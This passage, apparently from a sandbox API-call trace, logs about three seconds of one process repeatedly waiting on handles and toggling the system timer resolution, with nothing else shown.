	[0071.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.672] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.690] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.696] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.696] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.698] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.698] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.734] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.742] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.743] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.743] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.744] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.744] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.762] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.762] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.767] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.767] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.796] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.806] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.806] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.815] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.815] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.815] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.817] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.817] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.835] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.835] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.840] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.840] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.884] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.885] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.895] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.907] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.920] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.922] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.922] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.923] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.923] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.971] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.979] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.980] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.980] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.981] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.981] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.000] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.000] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.004] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.005] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.017] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.053] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.060] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.081] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.081] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.086] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.126] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.128] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.155] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.155] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.160] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.160] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.198] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.199] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.219] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.219] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.224] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.243] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.243] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.247] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.297] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.342] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.363] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.363] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.367] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.396] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.409] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.420] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.420] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.420] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.422] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.441] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.441] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.446] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.446] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.737] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.753] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.753] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.779] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.779] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.797] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.797] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.802] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.802] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.804] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.804] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.805] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.805] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.842] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.851] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.851] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.852] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.852] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.870] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.870] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.875] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.875] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.903] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.932] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.935] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.942] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.946] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0072.965] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.965] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0072.970] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0072.970] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.016] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.019] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.019] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.020] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.038] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.038] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.043] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.043] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.092] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.111] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.111] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.115] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.115] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.128] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.154] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.163] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.184] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.184] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.188] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.226] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.237] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.237] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.251] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.257] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.257] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.259] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.259] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.276] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.276] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.278] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.328] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.336] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.337] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.337] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.340] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.409] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.430] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.430] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.435] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.466] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.476] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.477] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.486] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.487] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.487] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.488] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.507] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.507] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.511] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.511] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.552] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.571] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.579] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.579] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.580] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.593] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.601] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.601] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.601] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.618] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.618] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.620] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.671] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.676] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.677] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.677] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.678] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.678] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.694] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.740] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.744] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.749] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.750] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.750] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.752] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.770] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.770] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.774] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.803] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.820] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.820] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.822] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.840] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.840] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.845] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.845] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.885] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.887] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.888] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.896] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.922] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0073.922] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0073.922] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0073.924] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0073.924] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.033] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.103] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.106] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.106] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.108] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.108] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.128] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.128] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.133] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.204] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.263] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.263] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.273] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.293] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.293] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.298] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.347] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.347] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.348] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.348] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.368] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.368] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.373] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.457] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.467] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.486] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.486] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.491] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.542] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.543] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.543] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.545] timeBeginPeriod (uPeriod=0x1) returned 0x0
